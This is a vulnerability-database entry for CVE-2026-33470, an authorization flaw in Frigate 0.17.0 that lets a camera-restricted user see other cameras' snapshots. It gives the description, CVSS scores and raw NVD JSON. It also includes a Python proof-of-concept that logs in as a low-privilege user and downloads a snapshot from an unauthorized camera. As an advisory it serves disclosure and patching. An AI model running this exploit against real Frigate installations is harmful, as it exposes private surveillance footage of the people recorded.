Security Vulnerability Report
中文
CVE-2026-33470 CVSS 6.5 MEDIUM

CVE-2026-33470

Published: 2026-03-26 17:16:41
Last Modified: 2026-03-31 12:58:02

Description

Frigate is a network video recorder (NVR) with realtime local object detection for IP cameras. In version 0.17.0, a low-privilege authenticated user restricted to one camera can access snapshots from other cameras. This is possible through a chain of two authorization problems: `/api/timeline` returns timeline entries for cameras outside the caller's allowed camera set, then `/api/events/{event_id}/snapshot-clean.webp` declares `Depends(require_camera_access)` but never actually validates `event.camera` after looking up the event. Together, this allows a restricted user to enumerate event IDs from unauthorized cameras and then fetch clean snapshots for those events. Version 0.17.1 fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frigate:frigate:0.17.0:*:*:*:*:*:*:* - VULNERABLE
Frigate 0.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://vulnerable-frigate-instance" username = "low_priv_user" password = "password" # 1. Authenticate as low-privilege user session = requests.Session() login_payload = {"username": username, "password": password} session.post(f"{target_url}/api/login", data=login_payload) # 2. Exploit: Access /api/timeline to discover Event IDs from unauthorized cameras # The vulnerability allows this endpoint to return events for cameras outside the user's scope timeline_resp = session.get(f"{target_url}/api/timeline") if timeline_resp.status_code == 200: events = timeline_resp.json() # Assume we found an event_id '12345' belonging to a restricted camera target_event_id = "12345" # 3. Exploit: Access snapshot using the leaked event ID # The endpoint /api/events/{event_id}/snapshot-clean.webp fails to validate # if the event's camera is authorized for the current user. snapshot_url = f"{target_url}/api/events/{target_event_id}/snapshot-clean.webp" poc_resp = session.get(snapshot_url) if poc_resp.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print(f"[+] Retrieved snapshot size: {len(poc_resp.content)} bytes") # Save the snapshot with open("exploited_snapshot.webp", "wb") as f: f.write(poc_resp.content) else: print("[-] Failed to retrieve snapshot.") else: print("[-] Failed to access timeline.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33470", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:41.320", "lastModified": "2026-03-31T12:58:02.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frigate is a network video recorder (NVR) with realtime local object detection for IP cameras. In version 0.17.0, a low-privilege authenticated user restricted to one camera can access snapshots from other cameras. This is possible through a chain of two authorization problems: `/api/timeline` returns timeline entries for cameras outside the caller's allowed camera set, then `/api/events/{event_id}/snapshot-clean.webp` declares `Depends(require_camera_access)` but never actually validates `event.camera` after looking up the event. Together, this allows a restricted user to enumerate event IDs from unauthorized cameras and then fetch clean snapshots for those events. Version 0.17.1 fixes the issue."}, {"lang": "es", "value": "Frigate es un grabador de vídeo en red (NVR) con detección local de objetos en tiempo real para cámaras IP. En la versión 0.17.0, un usuario autenticado con bajos privilegios restringido a una cámara puede acceder a instantáneas de otras cámaras. Esto es posible a través de una cadena de dos problemas de autorización: `/api/timeline` devuelve entradas de la línea de tiempo para cámaras fuera del conjunto de cámaras permitidas del llamador, luego `/api/events/{event_id}/snapshot-clean.webp` declara `Depends(require_camera_access)` pero nunca valida realmente `event.camera` después de buscar el evento. Juntos, esto permite a un usuario restringido enumerar IDs de eventos de cámaras no autorizadas y luego obtener instantáneas limpias para esos eventos. La versión 0.17.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frigate:frigate:0.17.0:*:*:*:*:*:*:*", "matchCriteriaId": "FB927AB9-39C9-4351-9838-750C739C0C59"}]}]}], "references": [{"url": "https://github.com/blakeblackshear/frigate/security/advisories/GHSA-m2mg-pj9p-2r7g", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/blakeblackshear/frigate/security/advisories/GHSA-m2mg-pj9p-2r7g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}